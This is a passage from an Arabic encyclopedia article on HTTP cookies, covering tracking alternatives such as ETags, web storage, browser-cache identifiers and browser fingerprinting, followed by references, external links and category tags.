نظراً لأنه يتم تخزين ETag مؤقتاً بواسطة المتصفح، وإعادتها مع الطلبات اللاحقة لنفس المورد، يمكن لخادم التتبع ببساطة تكرار أي ETag تم استلامه من المتصفح لضمان استمرار ETag المعين إلى أجل غير مسمى (بطريقة مماثلة لملفات تعريف الارتباط الدائمة). يمكن أن تعمل حقول رأس التخزين المؤقت الإضافية أيضاً على تحسين الحفاظ على بيانات ETag.
يمكن مسح ETags في بعض المتصفحات عن طريق مسح ذاكرة المتصفح المخبئية.
تخزين الوب
تدعم بعض متصفحات الوب آليات الثبات التي تسمح للصفحة بتخزين المعلومات محلياً لاستخدامها لاحقاً.
يشتمل معيار HTML5 (الذي تدعمه معظم متصفحات الوب الحديثة إلى حد ما) على واجهة برمجة تطبيقات جاڤاسكريپت تسمى تخزين الوب والتي تتيح نوعين من التخزين: التخزين المحلي وتخزين الجلسة. يتصرف التخزين المحلي بشكل مشابه لـ ملفات تعريف الارتباط الدائمة بينما يتصرف تخزين الجلسة بشكل مشابه لـ ملفات تعريف الارتباط للجلسة، باستثناء أن تخزين الجلسة مرتبط بعلامة تبويب/نافذة فردية (والتي تُعرف بجلسة صفحة)، وليس لجلسة متصفح كاملة مثل ملفات تعريف ارتباط الجلسة.[84]
يدعم إنترنت إكسپلورر المعلومات المستمرة[85]في محفوظات المستعرض أو في مفضلات المستعرض أو في متجر XML ("بيانات المستخدم") أو مباشرة داخل صفحة وب محفوظة على القرص.
تتضمن بعض المكونات الإضافية لمتصفح الوب آليات الاستمرارية أيضاً. على سبيل المثال، يحتوي أدوبي فلاش على كائن محلي مشترك ومايكروسوفت سيلڤرلايت على مساحة تخزين معزولة.[86]
ذاكرة المتصفح المخبئية
يمكن أيضاً استخدام الذاكرة المخبئية للمتصفح لتخزين المعلومات التي يمكن استخدامها لتتبع المستخدمين الفرديين. تستفيد هذه التقنية من حقيقة أن متصفح الوب سيستخدم الموارد المخزنة في الذاكرة المخبئية بدلاً من تنزيلها من موقع الوب عندما تحدد أن الذاكرة المخبئية تحتوي بالفعل على أحدث إصدار من المورد.
على سبيل المثال، يمكن لموقع وب تقديم ملف جاڤاسكريپت برمز يعيّن معرّفاً فريداً للمستخدم (على سبيل المثال، var userId = 3243242;
. بعد زيارة المستخدم الأولية، في كل مرة يصل فيها المستخدم إلى الصفحة، سيتم تحميل هذا الملف من ذاكرة التخزين المؤقت بدلاً من تنزيله من الخادم. وبالتالي، فإن محتواه لن يتغير أبداً.
بصمة المتصفح
بصمة المتصفح هي المعلومات التي يتم جمعها حول تكوين المتصفح، مثل رقم الإصدار ودقة الشاشة ونظام التشغيل لغرض التعريف. يمكن استخدام بصمات الأصابع للتعرف كلياً أو جزئياً على المستخدمين أو الأجهزة الفردية حتى عند إيقاف تشغيل ملفات تعريف الارتباط.
لطالما تم جمع معلومات التهيئة الأساسية متصفح وب بواسطة خدمات تحليل الوب في محاولة لقياس حركة مرور الوب البشرية الحقيقية بدقة وخصم أشكال مختلفة من النقر الاحتيالي. بمساعدة لغات صفحة وب ديناميكية، يمكن جمع المزيد من الپارامترات الباطنية.[87][88]يشكل استيعاب هذه المعلومات في سلسلة واحدة بصمة الجهاز. في عام 2010، قامت EFF بقياس 18.1 بت على الأقل من الإنتروپيا الممكنة من بصمات المتصفح.[89]Canvas fingerprinting، وهي تقنية أحدث، تدعي إضافة 5.7 بت أخرى.
انظر أيضاً
- Dynamic HTML
- Enterprise JavaBeans
- جلسة (علوم الحاسب)
- Secure cookie
- HTTP Strict Transport Security § Privacy issues
المصادر
- ^ "What are cookies? What are the differences between them (session vs. persistent)?". Cisco (in الإنجليزية). Retrieved 2021-09-04.
- ^ Vamosi, Robert (2008-04-14). "Gmail cookie stolen via Google Spreadsheets". News.cnet.com. Archived from the original on 9 December 2013. Retrieved 19 October 2017.
- ^ "What about the "EU Cookie Directive"?". WebCookies.org. 2013. Archived from the original on 11 October 2017. Retrieved 19 October 2017.
- ^ "New net rules set to make cookies crumble". BBC. 2011-03-08. Archived from the original on 2018-08-10. Retrieved 2018-06-21.
- ^ "Sen. Rockefeller: Get Ready for a Real Do-Not-Track Bill for Online Advertising". Adage.com. 2011-05-06. Archived from the original on 2011-08-24. Retrieved 2011-06-02.
- ^ "Maintaining session state with cookies". Microsoft Developer Network. Archived from the original on 14 October 2012. Retrieved 22 October 2012.
- ^ "'SameSite' cookie attribute, Chrome Platform tatus". Chromestatus.com. Archived from the original on 2016-05-09. Retrieved 2016-04-23.
- ^ Goodwin, M.; West (20 June 2016). "Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00". tools.ietf.org. Archived from the original on 2016-08-16. Retrieved 2016-07-28.
- ^ "Using the Same-Site Cookie Attribute to Prevent CSRF Attacks". www.netsparker.com (in الإنجليزية). Retrieved 2021-04-05.
- ^ "Require "Secure" for "SameSite=None". by miketaylr · Pull Request #1323 · httpwg/http-extensions". GitHub (in الإنجليزية). Retrieved 2021-04-05.
- ^ "Browser Compatibility Testing of 'SameSite' cookie attribute".
- ^ "SameSite Cookie Changes in February 2020: What You Need to Know". Chromium Blog (in الإنجليزية). Retrieved 2021-04-05.
- ^ "Temporarily rolling back SameSite Cookie Changes". Chromium Blog (in الإنجليزية). Retrieved 2021-04-05.
- ^ "Third party domains". WebCookies.org. Archived from the original on 2014-12-09. Retrieved 2014-12-07.
- ^ "Number of cookies". WebCookies.org. Archived from the original on 2014-12-09. Retrieved 2014-12-07.
- ^ Statt, Nick (2020-03-24). "Apple updates Safari's anti-tracking tech with full third-party cookie blocking". The Verge (in الإنجليزية). Retrieved 2020-07-24.
- ^ "Firefox starts blocking third-party cookies by default". VentureBeat (in الإنجليزية الأمريكية). 2019-06-04. Retrieved 2020-07-24.
- ^ Brave (2020-02-06). "OK Google, don't delay real browser privacy until 2022". Brave Browser (in الإنجليزية الأمريكية). Retrieved 2020-07-24.
- ^ Protalinski, Emil (19 May 2020). "Chrome 83 arrives with redesigned security settings, third-party cookies blocked in Incognito". VentureBeat. VentureBeat. Retrieved 25 June 2020.
- ^ Goel, Vinay (2021-06-24). "An updated timeline for Privacy Sandbox milestones". Google Chrome Official Blog (in الإنجليزية الأمريكية). Retrieved 2021-10-13.
- ^ "Learn more about the Public Suffix List". Publicsuffix.org. Archived from the original on 14 May 2016. Retrieved 28 July 2016.
- ^ Mayer, Jonathan (19 August 2011). "Tracking the Trackers: Microsoft Advertising". The Center for Internet and Society. Archived from the original on 26 September 2011. Retrieved 28 September 2011.
- ^ Vijayan, Jaikumar. "Microsoft disables 'supercookies' used on MSN.com visitors". Archived from the original on 27 November 2014. Retrieved 23 November 2014.
- ^ "Firefox 85 Cracks Down on Supercookies". 26 January 2021.
{{cite web}}
: Cite uses deprecated parameter|authors=
(help) - ^ Tigas, Julia Angwin, Mike. "Zombie Cookie: The Tracking Cookie That You Can't Kill". ProPublica (in الإنجليزية). Retrieved 2020-11-01.
{{cite web}}
: CS1 maint: multiple names: authors list (link) - ^ Jun 11, Conrad Stolze |; Education | 0, 2011 | (2011-06-11). "The Cookie That Would Not Crumble!". 24x7 Magazine (in الإنجليزية الأمريكية). Retrieved 2020-11-01.
{{cite web}}
:|first2=
has numeric name (help)CS1 maint: numeric names: authors list (link) - ^ Peng, Weihong; Cisna, Jennifer (2000). "HTTP Cookies, A Promising Technology". ProQuest. Online Information Review. ProQuest 194487945.
- ^ Jim Manico quoting Daniel Stenberg, Real world cookie length limits Archived 2013-07-02 at the Wayback Machine
- ^ خطأ استشهاد: وسم
<ref>
غير صحيح؛ لا نص تم توفيره للمراجع المسماةkesan
- ^ خطأ استشهاد: وسم
<ref>
غير صحيح؛ لا نص تم توفيره للمراجع المسماةkristol
- ^ Rainie, Lee (2012). Networked: The New Social Operating System. p. 237
- ^ أ ب IETF HTTP State Management Mechanism, Apr, 2011 Obsoletes RFC 2965
- ^ "Persistent client state HTTP cookies: Preliminary specification". Netscape. c. 1999. Archived from the original on 2007-08-05.
- ^ "Cookie Property". MSDN. Microsoft. Archived from the original on 2008-04-05. Retrieved 2009-01-04.
- ^ Shannon, Ross (2007-02-26). "Cookies, Set and retrieve information about your readers". HTMLSource. Archived from the original on 2011-08-26. Retrieved 2009-01-04.
- ^ "HTTP State Management Mechanism, The Path Attribute". IETF. March 2014. Archived from the original on 2011-05-01. Retrieved 2011-05-12.
- ^ "RFC 6265, HTTP State Management Mechanism, Domain matching". IETF. March 2014. Archived from the original on 2011-05-01. Retrieved 2011-05-12.
- ^ "RFC 6265, HTTP State Management Mechanism, The Domain Attribute". IETF. March 2014. Archived from the original on 2011-05-01. Retrieved 2011-05-12.
- ^ "Internet Explorer Cookie Internals (FAQ)". 21 November 2018.
- ^ "RFC 2109, HTTP State Management Mechanism, Set-Cookie syntax". IETF. March 2014. Archived from the original on 2014-03-13. Retrieved 2014-03-04.
- ^ "RFC 6265, HTTP State Management Mechanism". ietf.org. Archived from the original on 2011-05-01. Retrieved 2011-05-12.
- ^ "Cookies specification compatibility in modern browsers". inikulin.github.io. 2016. Archived from the original on 2016-10-02. Retrieved 2016-09-30.
- ^ Coles, Peter. "HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles". Mrcoles.com. Archived from the original on 29 July 2016. Retrieved 28 July 2016.
- ^ "Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)" (PDF). XIII. Symantec Corp. April 2008: 1–3. Archived (PDF) from the original on June 25, 2008. Retrieved May 11, 2008.
{{cite journal}}
: Cite journal requires|journal=
(help) - ^ Whalen, David (June 8, 2002). "The Unofficial Cookie FAQ v2.6". Cookie Central. Archived from the original on August 26, 2011. Retrieved 2009-01-04.
- ^ "How to Manage Cookies in Internet Explorer 6". Microsoft. December 18, 2007. Archived from the original on December 28, 2008. Retrieved 2009-01-04.
- ^ "Clearing private data". Firefox Support Knowledge base. Mozilla. 16 September 2008. Archived from the original on 3 January 2009. Retrieved 2009-01-04.
- ^ "Clear Personal Information : Clear browsing data". Google Chrome Help. Archived from the original on 2009-03-11. Retrieved 2009-01-04.
- ^ "Clear Personal Information: Delete cookies". Google Chrome Help. Archived from the original on 2009-03-11. Retrieved 2009-01-04.
- ^ Site Compatibility for Firefox 22, 2013-04-11, https://developer.mozilla.org/en-US/docs/Site_Compatibility_for_Firefox_22, retrieved on 2013-04-11
- ^ Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33
- ^ "CIA Caught Sneaking Cookies". CBS News. 2002-03-20. Archived from the original on 2011-08-26. Retrieved 2006-01-02.
- ^ "Spy Agency Removes Illegal Tracking Files". New York Times. 2005-12-29. Archived from the original on 2011-08-26. Retrieved 2017-02-19.
- ^ "EU Cookie Directive, Directive 2009/136/EC". JISC Legal Information. Archived from the original on 18 December 2012. Retrieved 31 October 2012.
- ^ أ ب Privacy and Electronic Communications Regulations. Information Commissioner's Office. 2012. Archived from the original on 2012-10-30. Retrieved 2012-10-31.
- ^ "Cookies and similar technologies". ico.org.uk (in الإنجليزية). 2021-01-01. Retrieved 2021-06-06.
- ^ أ ب "EUR-Lex - 62017CN0673 - EN - EUR-Lex". eur-lex.europa.eu. Retrieved 2021-06-06.
- ^ أ ب Veale, Michael; Zuiderveen Borgesius, Frederik (2021-04-01). "Adtech and Real-Time Bidding under European Data Protection Law". doi:10.31235/osf.io/wg8fq.
{{cite journal}}
: Cite journal requires|journal=
(help) - ^ Zuiderveen Borgesius, Frederik J. (August 2015). "Personal data processing for behavioural targeting: which legal basis?". International Data Privacy Law (in الإنجليزية). 5 (3): 163–176. doi:10.1093/idpl/ipv011. ISSN 2044-3994.
- ^ أ ب ت ث Nouwens, Midas; Liccardi, Ilaria; Veale, Michael; Karger, David; Kagal, Lalana (2020-04-21). "Dark Patterns after the GDPR: Scraping Consent Pop-ups and Demonstrating their Influence". Proceedings of the 2020 CHI Conference on Human Factors in Computing Systems. Chi '20 (in الإنجليزية). Honolulu HI USA: ACM: 1–13. arXiv:2001.02479. doi:10.1145/3313831.3376321. hdl:1721.1/129999. ISBN 978-1-4503-6708-0. S2CID 210064317.
- ^ أ ب "EUR-Lex - 32016R0679 - EN - EUR-Lex". eur-lex.europa.eu (in الإنجليزية). Retrieved 2021-06-06.
- ^ أ ب Information Commissioner's Office (2019). Update Report into Adtech and Real Time Bidding (PDF).
- ^ www.legifrance.gouv.fr https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038783337. Retrieved 2021-06-06.
{{cite web}}
: Missing or empty|title=
(help) - ^ "EUR-Lex - 62017CC0040 - EN - EUR-Lex". eur-lex.europa.eu. Retrieved 2021-06-06.
- ^ Nast, Condé (2012-05-24). "EU cookie law: stop whining and just get on with it". Wired UK. Archived from the original on 15 November 2012. Retrieved 31 October 2012.
- ^ Kampanos, Georgios; Shahandashti, Siamak F. (2021). "Accept All: The Landscape of Cookie Banners in Greece and the UK". ICT Systems Security and Privacy Protection. Cham: Springer International Publishing. pp. 213–227. arXiv:2104.05750. doi:10.1007/978-3-030-78120-0_14. ISBN 978-3-030-78119-4. ISSN 1868-4238. S2CID 233219491.
- ^ Santos, Cristiana; Nouwens, Midas; Toth, Michael; Bielova, Nataliia; Roca, Vincent (2021), Gruschka, Nils; Antunes, Luís Filipe Coelho; Rannenberg, Kai et al., eds. (in en), Consent Management Platforms Under the GDPR: Processors and/or Controllers?, 12703, Cham: Springer International Publishing, pp. 47–69, doi: , ISBN 978-3-030-76662-7, https://link.springer.com/10.1007/978-3-030-76663-4_3, retrieved on 2021-06-06
- ^ "P3P: The Platform for Privacy Preferences". www.w3.org. Retrieved 2021-10-15.
- ^ J Zuiderveen Borgesius, F.; Kruikemeier, S.; C Boerman, S.; Helberger, N. (2017). "Tracking Walls, Take-It-Or-Leave-It Choices, the GDPR, and the ePrivacy Regulation". European Data Protection Law Review. 3 (3): 353–368. doi:10.21552/edpl/2017/3/9. hdl:11245.1/dfb59b54-0544-4c65-815a-640eae10668a.
- ^ "Guidelines 05/2020 on consent under Regulation 2016/679 | European Data Protection Board". edpb.europa.eu. Retrieved 2021-06-06.
- ^ "A Loophole Big Enough for a Cookie to Fit Through". Bits. The New York Times. 2010-09-17. Archived from the original on 26 January 2013. Retrieved 31 January 2013.
- ^ Pegoraro, Rob (July 17, 2005). "How to Block Tracking Cookies". Washington Post. p. F07. Archived from the original on April 27, 2011. Retrieved 2009-01-04.
- ^ Francisco, Thomas Claburn in San. "What's CNAME of your game? This DNS-based tracking defies your browser privacy defenses". www.theregister.com (in الإنجليزية). Retrieved 2021-06-06.
- ^ قالب:Cite arxiv
- ^ Wired Hack Obtains 9 Bogus Certificates for Prominent Websites Archived 2014-03-26 at the Wayback Machine
- ^ أ ب ت Finkle, Jim (2011-05-25). "Microsoft latest security risk: 'Cookiejacking'". Reuters. Archived from the original on 30 May 2011. Retrieved 26 May 2011.
- ^ Whitney, Lance (2011-05-26). "Security researcher finds 'cookiejacking' risk in IE". CNET. Archived from the original on 14 June 2011. Retrieved 6 Sep 2019.
- ^ Fielding, Roy (2000). "Fielding Dissertation: CHAPTER 6: Experience and Evaluation". Archived from the original on 2011-04-27. Retrieved 2010-10-14.
- ^ Tilkov, Stefan (July 2, 2008). "REST Anti-Patterns". InfoQ. Archived from the original on December 23, 2008. Retrieved 2009-01-04.
- ^ Hoffman, Chris. "What Is a Browser Cookie?". How-To Geek (in الإنجليزية الأمريكية). Retrieved 2021-04-03.
- ^ "ThomasFrank.se". ThomasFrank.se. Archived from the original on 2010-05-15. Retrieved 2010-05-22.
- ^ "The cookie is dead. Here's how Facebook, Google, and Apple are tracking you now, VentureBeat, Mobile, by Richard Byrne Reilly". VentureBeat. 2014-10-06. Archived from the original on 2017-07-24. Retrieved 2017-08-31.
- ^ "Window.sessionStorage, Web APIs | MDN". developer.mozilla.org. Archived from the original on 28 September 2015. Retrieved 2 October 2015.
- ^ "Introduction to Persistence". microsoft.com. Microsoft. Archived from the original on 2015-01-11. Retrieved 2014-10-09.
- ^ "Isolated Storage". Microsoft.com. Archived from the original on 2014-12-16. Retrieved 2014-10-09.
- ^ "BrowserSpy". gemal.dk. Archived from the original on 2008-09-26. Retrieved 2010-01-28.
- ^ "IE "default behaviors [sic]" browser information disclosure tests: clientCaps". Mypage.direct.ca. Archived from the original on 2011-06-05. Retrieved 2010-01-28.
- ^ Eckersley, Peter (17 May 2010). "How Unique Is Your Web Browser?" (PDF). eff.org. Electronic Frontier Foundation. Archived from the original (PDF) on 15 October 2014. Retrieved 23 July 2014.
هذه المقالة كانت في الأصل مبنية على مادة من Free On-line Dictionary of Computing، التي هي مرخصة تحت GFDL.
المراجع
- Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp. Informationweek - Online, May 26, 2011.
وصلات خارجية
- RFC 6265, the current official specification for HTTP cookies
- HTTP cookies, Mozilla Developer Network
- Using cookies via ECMAScript, Mozilla Developer Network
- قالب:HowStuffWorks
- Cookies at the Electronic Privacy Information Center (EPIC)
- Mozilla Knowledge-Base: Cookies
- Cookie Domain, explain in detail how cookie domains are handled in current major browsers
- Cookie Stealing - Michael Pound
- Check cookies for compliance with EU cookie directive
- CS1 الإنجليزية الأمريكية-language sources (en-us)
- CS1 errors: deprecated parameters
- CS1 errors: numeric name
- CS1 maint: numeric names: authors list
- CS1 errors: missing title
- CS1 errors: bare URL
- Short description is different from Wikidata
- Articles needing additional references from August 2011
- All articles needing additional references
- مقالات فيها عبارات متقادمة منذ 2014
- جميع المقالات التي فيها عبارات متقادمة
- Articles with hatnote templates targeting a nonexistent page
- جميع الصفحات التي تحتاج تنظيف
- مقالات بالمعرفة تحتاج توضيح from July 2018
- مقالات فيها عبارات متقادمة منذ 2016
- مقالات المعرفة التي تحوي نصوصاً من FOLDOC
- مقالات ناطقة
- التحكم بالوصول للحاسوب
- پروتوكول نقل النص الفائق
- خصوصية الإنترنت
- استخدامات أمن الوب
- Wikipedia articles with ASCII art
- اختراق (أمن الحاسوب)
- تتبع